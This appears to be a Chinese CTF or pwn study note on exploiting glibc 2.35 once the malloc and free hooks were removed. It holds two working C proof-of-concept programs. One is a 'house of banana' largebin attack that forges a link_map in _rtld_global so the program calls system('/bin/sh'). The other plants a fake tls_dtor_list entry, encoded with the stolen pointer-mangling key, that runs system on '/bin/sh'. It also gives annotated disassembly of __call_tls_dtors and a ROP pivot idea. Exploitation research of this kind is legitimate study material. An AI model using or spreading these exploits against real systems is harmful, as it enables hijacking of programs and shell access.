基于2.35-0ubuntu3_amd64
失去了free malloc realloc exit hook
试了一下exit去改_rtld_global._dl_ns[0]._ns_loaded.l_addr控制析构还是有用的
house of banana依旧可行
poc
#include <stddef.h> #include <string.h> #include <stdlib.h> #include <stdio.h> void backdoor() { system("/bin/sh"); } int main() { puts("house of banana's poc"); size_t libc_base = (size_t)&puts - 0x80ed0; size_t _rtld_global_ptr_next_next_next = libc_base + 0x3fd040-0x41d88; char *ptr0 = malloc(0x428); char *gap = malloc(0x10); char *ptr1 = malloc(0x418); gap = malloc(0x10); free(ptr0); malloc(0x438); free(ptr1); *(size_t *)(ptr0 + 0x18) = _rtld_global_ptr_next_next_next - 0x20; malloc(0x438); size_t *fakelinkmap = (size_t *)(ptr1-0x10); fakelinkmap[3]=0; fakelinkmap[5] = (size_t)fakelinkmap; fakelinkmap[34] = (size_t)&fakelinkmap[34]; fakelinkmap[35]=(size_t)&fakelinkmap[38]; fakelinkmap[36]=(size_t)&fakelinkmap[36]; fakelinkmap[37]=0x8; fakelinkmap[38]=(size_t)backdoor; fakelinkmap[0x63]=0x800000000;
}
|
上面poc主要是改了最后一个link_map,也可以改第一个link_map,把第一个link_map的next改为原本的第二个link_map满足4个链表,绕过 assert (ns != LM_ID_BASE || i == nloaded);
原本的第二个link_map pwndbg> p (_rtld_global._dl_ns._ns_loaded[0].l_next) $10 = (struct link_map *) 0x7ffff7ffe890
|
exit->__run_exit_handlers->__call_tls_dtors
void __call_tls_dtors (void) { while (tls_dtor_list) { struct dtor_list *cur = tls_dtor_list; dtor_func func = cur->func; #ifdef PTR_DEMANGLE PTR_DEMANGLE (func); #endif
tls_dtor_list = tls_dtor_list->next; func (cur->obj); atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1); free (cur); } }
|
tls_dtor_list是下面的结构体,一般都是空的
struct dtor_list { dtor_func func; void *obj; struct link_map *map; struct dtor_list *next; };
|
pwndbg> disassemble __call_tls_dtors Dump of assembler code for function __GI___call_tls_dtors: 0x00007ffff7c45d60 <+0>: endbr64 0x00007ffff7c45d64 <+4>: push rbp 0x00007ffff7c45d65 <+5>: push rbx 0x00007ffff7c45d66 <+6>: sub rsp,0x8 0x00007ffff7c45d6a <+10>: mov rbx,QWORD PTR [rip+0x1d301f] # 0x7ffff7e18d90 0x00007ffff7c45d71 <+17>: mov rbp,QWORD PTR fs:[rbx];fs:[rbx]处为tls_dtor_list 0x00007ffff7c45d75 <+21>: test rbp,rbp;判断tls_dtor_list是否为空 0x00007ffff7c45d78 <+24>: je 0x7ffff7c45dbd <__GI___call_tls_dtors+93>;为空结束 0x00007ffff7c45d7a <+26>: nop WORD PTR [rax+rax*1+0x0];无影响 0x00007ffff7c45d80 <+32>: mov rdx,QWORD PTR [rbp+0x18];next指针给rdx 0x00007ffff7c45d84 <+36>: mov rax,QWORD PTR [rbp+0x0];func给rax 0x00007ffff7c45d88 <+40>: ror rax,0x11 0x00007ffff7c45d8c <+44>: xor rax,QWORD PTR fs:0x30;func循环右移11位,再和fs:0x30处异或, 0x00007ffff7c45d95 <+53>: mov QWORD PTR fs:[rbx],rdx;将next存回tls_dtor_list,tls_dtor_list = tls_dtor_list->next; 0x00007ffff7c45d99 <+57>: mov rdi,QWORD PTR [rbp+0x8];obj当作参数 0x00007ffff7c45d9d <+61>: call rax;调用func 0x00007ffff7c45d9f <+63>: mov rax,QWORD PTR [rbp+0x10] 0x00007ffff7c45da3 <+67>: lock sub QWORD PTR [rax+0x468],0x1 0x00007ffff7c45dac <+76>: mov rdi,rbp 0x00007ffff7c45daf <+79>: call 0x7ffff7c28370 <free@plt> 0x00007ffff7c45db4 <+84>: mov rbp,QWORD PTR fs:[rbx] 0x00007ffff7c45db8 <+88>: test rbp,rbp 0x00007ffff7c45dbb <+91>: jne 0x7ffff7c45d80 <__GI___call_tls_dtors+32> 0x00007ffff7c45dbd <+93>: add rsp,0x8 0x00007ffff7c45dc1 <+97>: pop rbx 0x00007ffff7c45dc2 <+98>: pop rbp 0x00007ffff7c45dc3 <+99>: ret
|
可以控制tls_dtor_list里的dtor_list–>func为system dtor_list–>obj为指向binsh字符串地址
或者因为他是利用rbp来存放dtor_list,可以在dtor_list–>func存放leave ret地址,dtor_list–>obj及下面存放rop链,就可以实现rop
需要满足
poc
#include <stddef.h> #include <string.h> #include <stdlib.h> #include <stdio.h> size_t encrypt(size_t value,size_t key) { size_t newval=(value^key); return (newval<<0x11)|(newval>>(64-0x11)); } int main() { size_t fsbase; size_t tls_dtor_list_addr,key; __asm__ volatile("mov %%fs:0, %0" : "=r"(fsbase)); tls_dtor_list_addr = fsbase - 88; key=*(size_t*)(fsbase+0x30); char *binsh = (char *)malloc(0x20); strcpy(binsh,"/bin/sh\x00"); size_t *fake_tls_dtor = (size_t *)malloc(0x20); fake_tls_dtor[0] = encrypt((size_t)&system, key); fake_tls_dtor[1] = (size_t)binsh; *(size_t *)tls_dtor_list_addr=(size_t)fake_tls_dtor; }
|